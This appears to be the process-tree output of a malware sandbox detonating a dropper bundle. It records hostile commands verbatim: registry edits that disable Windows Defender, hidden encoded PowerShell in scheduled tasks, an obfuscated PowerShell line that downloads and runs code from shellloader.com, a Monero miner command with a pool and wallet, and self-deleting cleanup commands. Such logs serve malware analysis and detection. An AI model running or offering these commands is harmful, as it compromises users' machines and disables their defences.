\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
13⤵
PID:9136

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
11⤵
PID:4244

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
12⤵
PID:2428

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
13⤵
PID:9116

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
13⤵
PID:9208

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gMlAecdJH" /SC once /ST 00:15:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
11⤵
- Creates scheduled task(s)
PID:8240

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gMlAecdJH"
11⤵
PID:3684

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gMlAecdJH"
11⤵
PID:3980

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bRciptYQhTCMvEFWGJ" /SC once /ST 06:50:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iXkrQovqyvDrylo\TkNUdlt.exe\" W8 /site_id 668658 /S" /V1 /F
11⤵
- Creates scheduled task(s)
PID:8512

C:\Users\Admin\Documents\w6EC3GK1E8CjthCP8z2WpMkF.exe
"C:\Users\Admin\Documents\w6EC3GK1E8CjthCP8z2WpMkF.exe" /mixtwo
8⤵
PID:4168

C:\Users\Admin\Documents\_wYu3FEqfsfbj8kNKtLM1ONj.exe
"C:\Users\Admin\Documents\_wYu3FEqfsfbj8kNKtLM1ONj.exe"
8⤵
PID:4328

C:\Users\Admin\Documents\mWiG0Sx1QXSeHUiH2uwo9old.exe
"C:\Users\Admin\Documents\mWiG0Sx1QXSeHUiH2uwo9old.exe"
8⤵
PID:7412

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
7⤵
- Creates scheduled task(s)
PID:7656

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
7⤵
- Creates scheduled task(s)
PID:6788

C:\Users\Admin\Documents\hX4efHFVWUc3N1yWoK6YiuNf.exe
"C:\Users\Admin\Documents\hX4efHFVWUc3N1yWoK6YiuNf.exe"
6⤵
PID:3512

C:\Users\Admin\Documents\hX4efHFVWUc3N1yWoK6YiuNf.exe
"C:\Users\Admin\Documents\hX4efHFVWUc3N1yWoK6YiuNf.exe"
7⤵
PID:5904

C:\Users\Admin\Documents\o6lKYC6UTOkqqKH85aEfzFz4.exe
"C:\Users\Admin\Documents\o6lKYC6UTOkqqKH85aEfzFz4.exe"
6⤵
PID:5228

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im o6lKYC6UTOkqqKH85aEfzFz4.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\o6lKYC6UTOkqqKH85aEfzFz4.exe" & del C:\ProgramData\*.dll & exit
7⤵
PID:4156

C:\Windows\SysWOW64\taskkill.exe
taskkill /im o6lKYC6UTOkqqKH85aEfzFz4.exe /f
8⤵
- Kills process with taskkill
PID:5212

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:9032

C:\Users\Admin\Documents\ksWcdY6HawY36e_I7DQ_8pOu.exe
"C:\Users\Admin\Documents\ksWcdY6HawY36e_I7DQ_8pOu.exe"
6⤵
PID:5292

C:\Users\Admin\Documents\z9QWVn9WCtYaNY8OtkfI8ITA.exe
"C:\Users\Admin\Documents\z9QWVn9WCtYaNY8OtkfI8ITA.exe"
6⤵
PID:5504

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\z9QWVn9WCtYaNY8OtkfI8ITA.exe"
7⤵
PID:7216

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
8⤵
- Delays execution with timeout.exe
PID:7044

C:\Users\Admin\Documents\5WYGzmHLj1l7jfbpVAdSVRBI.exe
"C:\Users\Admin\Documents\5WYGzmHLj1l7jfbpVAdSVRBI.exe"
6⤵
PID:5568

C:\Users\Admin\Documents\VnT9oiIVDA_jzHBnMscZjOVz.exe
"C:\Users\Admin\Documents\VnT9oiIVDA_jzHBnMscZjOVz.exe"
6⤵
PID:5536

C:\Users\Admin\Documents\ql3xgHcXYKiunG5VKIF6Xavg.exe
"C:\Users\Admin\Documents\ql3xgHcXYKiunG5VKIF6Xavg.exe"
6⤵
PID:5708

C:\Windows\SysWOW64\cmd.exe
"cmd" /c start "" "f.exe" & start "" "wwi.exe" & start "" "wwl.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"
7⤵
PID:5908

C:\Users\Admin\AppData\Local\Temp\f.exe
"f.exe"
8⤵
PID:5196

C:\Users\Admin\AppData\Local\237843444.exe
"C:\Users\Admin\AppData\Local\237843444.exe"
9⤵
PID:6984

C:\Users\Admin\AppData\Local\Temp\wwi.exe
"wwi.exe"
8⤵
PID:5860

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"
8⤵
PID:4868

C:\Users\Admin\AppData\Local\Temp\wwl.exe
"wwl.exe"
8⤵
PID:4984

C:\Users\Admin\Documents\39VqGFFpNkaihAIuFhKWIYZ5.exe
"C:\Users\Admin\Documents\39VqGFFpNkaihAIuFhKWIYZ5.exe"
6⤵
PID:6136

C:\Users\Admin\Documents\39VqGFFpNkaihAIuFhKWIYZ5.exe
C:\Users\Admin\Documents\39VqGFFpNkaihAIuFhKWIYZ5.exe
7⤵
PID:5036

C:\Users\Admin\Documents\li5avrQuWHpy6E8BxZMUJkR2.exe
"C:\Users\Admin\Documents\li5avrQuWHpy6E8BxZMUJkR2.exe"
6⤵
PID:5596

C:\Users\Admin\Documents\JMPHwuLwmK26DrRt1yLUwKah.exe
"C:\Users\Admin\Documents\JMPHwuLwmK26DrRt1yLUwKah.exe"
6⤵
- Suspicious use of WriteProcessMemory
PID:2812

C:\Users\Admin\Documents\LxlFuwvdWXSWkbuDZKcQTLcA.exe
"C:\Users\Admin\Documents\LxlFuwvdWXSWkbuDZKcQTLcA.exe"
6⤵
PID:5988

C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
7⤵
PID:6712

C:\Program Files (x86)\Company\NewProduct\inst001.exe
"C:\Program Files (x86)\Company\NewProduct\inst001.exe"
7⤵
PID:7280

C:\Program Files (x86)\Company\NewProduct\cm3.exe
"C:\Program Files (x86)\Company\NewProduct\cm3.exe"
7⤵
PID:7236

C:\Users\Admin\Documents\ihcFzlzf3LuP0u01uHhblbsL.exe
"C:\Users\Admin\Documents\ihcFzlzf3LuP0u01uHhblbsL.exe"
6⤵
PID:344

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "ihcFzlzf3LuP0u01uHhblbsL.exe" /f & erase "C:\Users\Admin\Documents\ihcFzlzf3LuP0u01uHhblbsL.exe" & exit
7⤵
PID:7628

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "ihcFzlzf3LuP0u01uHhblbsL.exe" /f
8⤵
- Kills process with taskkill
PID:8008

C:\Users\Admin\Documents\t49n4_NbmzdIZQvB5FUiZwlO.exe
"C:\Users\Admin\Documents\t49n4_NbmzdIZQvB5FUiZwlO.exe"
6⤵
PID:4408

C:\Users\Admin\Documents\tzJaGsoxyoqNl72kV13szst3.exe
"C:\Users\Admin\Documents\tzJaGsoxyoqNl72kV13szst3.exe"
6⤵
PID:6828

C:\Users\Admin\AppData\Roaming\6459603.scr
"C:\Users\Admin\AppData\Roaming\6459603.scr" /S
7⤵
PID:6092

C:\Users\Admin\AppData\Roaming\5893856.scr
"C:\Users\Admin\AppData\Roaming\5893856.scr" /S
7⤵
PID:7156

C:\Users\Admin\AppData\Roaming\3416962.scr
"C:\Users\Admin\AppData\Roaming\3416962.scr" /S
7⤵
PID:4116

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun193fda712d9f1.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3744

C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun193fda712d9f1.exe
Sun193fda712d9f1.exe
5⤵
- Executes dropped EXE
PID:3936

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun1908b94df837b3158.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:1412

C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun1908b94df837b3158.exe
Sun1908b94df837b3158.exe
5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3788

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun19de8ff4b6aefeb8.exe /mixone
4⤵
- Suspicious use of WriteProcessMemory
PID:2304

C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun19de8ff4b6aefeb8.exe
Sun19de8ff4b6aefeb8.exe /mixone
5⤵
- Executes dropped EXE
PID:2356

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2356 -s 656
6⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:5096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2356 -s 672
6⤵
- Program crash
PID:5388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2356 -s 632
6⤵
- Program crash
PID:5924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2356 -s 640
6⤵
- Program crash
PID:2952

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun19e4ade31b2a.exe
4⤵
PID:2812

C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun19e4ade31b2a.exe
Sun19e4ade31b2a.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2836

C:\Users\Admin\AppData\Roaming\2036975.scr
"C:\Users\Admin\AppData\Roaming\2036975.scr" /S
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4596

C:\Users\Admin\AppData\Roaming\8790423.scr
"C:\Users\Admin\AppData\Roaming\8790423.scr" /S
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4924

C:\Users\Admin\AppData\Roaming\4750799.scr
"C:\Users\Admin\AppData\Roaming\4750799.scr" /S
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:4988

C:\Users\Admin\AppData\Roaming\4750799.scr
"C:\Users\Admin\AppData\Roaming\4750799.scr"
7⤵
- Executes dropped EXE
PID:4208

C:\Users\Admin\AppData\Roaming\4750799.scr
"C:\Users\Admin\AppData\Roaming\4750799.scr"
7⤵
PID:4048

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4988 -s 900
7⤵
- Program crash
PID:4256

C:\Users\Admin\AppData\Roaming\3224689.scr
"C:\Users\Admin\AppData\Roaming\3224689.scr" /S
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2824

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun1905815e51282417.exe
4⤵
PID:3088

C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun1905815e51282417.exe
Sun1905815e51282417.exe
5⤵
- Executes dropped EXE
PID:1764

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun1966fb31dd5a07.exe
4⤵
PID:4044

C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun1966fb31dd5a07.exe
Sun1966fb31dd5a07.exe
5⤵
- Executes dropped EXE
PID:4144

C:\Users\Admin\AppData\Local\Temp\is-B1J0H.tmp\Sun1966fb31dd5a07.tmp
"C:\Users\Admin\AppData\Local\Temp\is-B1J0H.tmp\Sun1966fb31dd5a07.tmp" /SL5="$40070,247014,163328,C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun1966fb31dd5a07.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4240

C:\Users\Admin\AppData\Local\Temp\is-C2EP3.tmp\Ze2ro.exe
"C:\Users\Admin\AppData\Local\Temp\is-C2EP3.tmp\Ze2ro.exe" /S /UID=burnerch2
7⤵
- Executes dropped EXE
PID:4696

C:\Program Files\Google\HJTMLTCTOE\ultramediaburner.exe
"C:\Program Files\Google\HJTMLTCTOE\ultramediaburner.exe" /VERYSILENT
8⤵
PID:7820

C:\Users\Admin\AppData\Local\Temp\is-D99BD.tmp\ultramediaburner.tmp
"C:\Users\Admin\AppData\Local\Temp\is-D99BD.tmp\ultramediaburner.tmp" /SL5="$5007E,281924,62464,C:\Program Files\Google\HJTMLTCTOE\ultramediaburner.exe" /VERYSILENT
9⤵
PID:7696

C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
10⤵
PID:612

C:\Users\Admin\AppData\Local\Temp\50-d8951-3e2-7d9ba-47a0072e73b83\Faerepowytae.exe
"C:\Users\Admin\AppData\Local\Temp\50-d8951-3e2-7d9ba-47a0072e73b83\Faerepowytae.exe"
8⤵
PID:1204

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
dw20.exe -x -s 2256
9⤵
PID:3568

C:\Users\Admin\AppData\Local\Temp\32-46eef-9cf-264b0-eb9f71db6ca2d\Lutezhehisha.exe
"C:\Users\Admin\AppData\Local\Temp\32-46eef-9cf-264b0-eb9f71db6ca2d\Lutezhehisha.exe"
8⤵
PID:4476

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zxndfv3a.llk\GcleanerEU.exe /eufive & exit
9⤵
PID:5328

C:\Users\Admin\AppData\Local\Temp\zxndfv3a.llk\GcleanerEU.exe
C:\Users\Admin\AppData\Local\Temp\zxndfv3a.llk\GcleanerEU.exe /eufive
10⤵
PID:7556

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\murahgun.ram\installer.exe /qn CAMPAIGN="654" & exit
9⤵
PID:7572

C:\Users\Admin\AppData\Local\Temp\murahgun.ram\installer.exe
C:\Users\Admin\AppData\Local\Temp\murahgun.ram\installer.exe /qn CAMPAIGN="654"
10⤵
PID:2328

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\murahgun.ram\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\murahgun.ram\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1632120084 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
11⤵
PID:5640

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\00a5qqpt.kon\anyname.exe & exit
9⤵
PID:6424

C:\Users\Admin\AppData\Local\Temp\00a5qqpt.kon\anyname.exe
C:\Users\Admin\AppData\Local\Temp\00a5qqpt.kon\anyname.exe
10⤵
PID:6016

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wczxztrw.fu1\gcleaner.exe /mixfive & exit
9⤵
PID:2324

C:\Users\Admin\AppData\Local\Temp\wczxztrw.fu1\gcleaner.exe
C:\Users\Admin\AppData\Local\Temp\wczxztrw.fu1\gcleaner.exe /mixfive
10⤵
PID:7600

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun195a1614ec24e6a.exe
4⤵
PID:856

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun198361825f4.exe
4⤵
PID:2284

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun19eb40faaaa9.exe
4⤵
PID:2260

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun191101c1aaa.exe
4⤵
PID:1008

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun19262b9e49ad.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:776

C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun19eb40faaaa9.exe
Sun19eb40faaaa9.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:672

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im Sun19eb40faaaa9.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun19eb40faaaa9.exe" & del C:\ProgramData\*.dll & exit
2⤵
PID:6976

C:\Windows\SysWOW64\taskkill.exe
taskkill /im Sun19eb40faaaa9.exe /f
3⤵
- Kills process with taskkill
PID:4720

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
3⤵
- Delays execution with timeout.exe
PID:7932

C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun195a1614ec24e6a.exe
Sun195a1614ec24e6a.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2856

C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun198361825f4.exe
Sun198361825f4.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:424

C:\Users\Admin\AppData\Local\Temp\tmp4377_tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp4377_tmp.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1296

C:\Users\Admin\AppData\Local\Temp\tmp4377_tmp.exe
C:\Users\Admin\AppData\Local\Temp\tmp4377_tmp.exe
3⤵
- Executes dropped EXE
PID:4900

C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun191101c1aaa.exe
Sun191101c1aaa.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3912

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
2⤵
- Executes dropped EXE
PID:4652

C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
3⤵
- Executes dropped EXE
PID:3592

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
4⤵
PID:7044

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
5⤵
- Creates scheduled task(s)
PID:6212

C:\Users\Admin\AppData\Roaming\services64.exe
"C:\Users\Admin\AppData\Roaming\services64.exe"
4⤵
PID:7732

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
5⤵
PID:6828

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
6⤵
- Creates scheduled task(s)
PID:3180

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
5⤵
PID:4188

C:\Windows\explorer.exe
C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
5⤵
PID:8776

C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2956

C:\ProgramData\5973142.exe
"C:\ProgramData\5973142.exe"
4⤵
PID:908

C:\ProgramData\5801489.exe
"C:\ProgramData\5801489.exe"
4⤵
PID:5456

C:\ProgramData\7014739.exe
"C:\ProgramData\7014739.exe"
4⤵
PID:5552

C:\ProgramData\7014739.exe
"C:\ProgramData\7014739.exe"
5⤵
PID:6084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5552 -s 892
5⤵
- Program crash
PID:5300

C:\ProgramData\8366647.exe
"C:\ProgramData\8366647.exe"
4⤵
PID:6072

C:\Users\Admin\AppData\Local\Temp\2.exe
"C:\Users\Admin\AppData\Local\Temp\2.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4576

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4576 -s 1528
4⤵
- Program crash
PID:4088

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
3⤵
- Executes dropped EXE
PID:4780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4780 -s 1004
4⤵
- Program crash
PID:6052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4780 -s 988
4⤵
- Program crash
PID:2844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4780 -s 852
4⤵
- Program crash
PID:6336

C:\Users\Admin\AppData\Local\Temp\udptest.exe
"C:\Users\Admin\AppData\Local\Temp\udptest.exe"
3⤵
- Executes dropped EXE
PID:2388

C:\Users\Admin\AppData\Local\Temp\5.exe
"C:\Users\Admin\AppData\Local\Temp\5.exe"
3⤵
- Executes dropped EXE
PID:2372

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2372 -s 1528
4⤵
- Program crash
PID:6520

C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecF18.exe
"C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecF18.exe"
3⤵
PID:5180

C:\Users\Admin\AppData\Local\Temp\tmpE725_tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmpE725_tmp.exe"
4⤵
PID:5368

C:\Users\Admin\AppData\Local\Temp\tmpE725_tmp.exe
C:\Users\Admin\AppData\Local\Temp\tmpE725_tmp.exe
5⤵
PID:5128

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
3⤵
PID:5980

C:\Users\Admin\AppData\Local\Temp\is-7CFSU.tmp\setup_2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-7CFSU.tmp\setup_2.tmp" /SL5="$20292,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
4⤵
PID:4588

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
5⤵
PID:7484

C:\Users\Admin\AppData\Local\Temp\is-CI3FS.tmp\setup_2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-CI3FS.tmp\setup_2.tmp" /SL5="$20308,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
6⤵
PID:7556

C:\Users\Admin\AppData\Local\Temp\is-U5NKN.tmp\postback.exe
"C:\Users\Admin\AppData\Local\Temp\is-U5NKN.tmp\postback.exe" ss1
7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1824

C:\Windows\SysWOW64\explorer.exe
explorer.exe ss1
8⤵
PID:4884

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
9⤵
PID:8736

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
10⤵
PID:8872

C:\Windows\SysWOW64\cmd.exe
cmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\QICnPTwh8.dll"
9⤵
PID:3140

C:\Windows\SysWOW64\regsvr32.exe
regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\QICnPTwh8.dll"
10⤵
PID:8712

C:\Windows\system32\regsvr32.exe
/s "C:\Users\Admin\AppData\Local\Temp\QICnPTwh8.dll"
11⤵
PID:8800

C:\Windows\SysWOW64\cmd.exe
cmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\QICnPTwh8.dllmwq1U69L8.dll"
9⤵
PID:8676

C:\Windows\SysWOW64\regsvr32.exe
regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\QICnPTwh8.dllmwq1U69L8.dll"
10⤵
PID:4616

C:\Windows\system32\regsvr32.exe
/s "C:\Users\Admin\AppData\Local\Temp\QICnPTwh8.dllmwq1U69L8.dll"
11⤵
PID:5984

C:\Users\Admin\AppData\Local\Temp\3002.exe
"C:\Users\Admin\AppData\Local\Temp\3002.exe"
3⤵
PID:4116

C:\Users\Admin\AppData\Local\Temp\3002.exe
"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
4⤵
PID:1904

C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
3⤵
PID:6596

C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
3⤵
PID:6224

C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun19262b9e49ad.exe
Sun19262b9e49ad.exe
1⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:3880

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
2⤵
PID:4564

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
3⤵
- Kills process with taskkill
PID:4492

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6896

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:6928

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:2848

C:\Users\Admin\AppData\Local\Temp\F1A0.exe
C:\Users\Admin\AppData\Local\Temp\F1A0.exe
1⤵
PID:5060

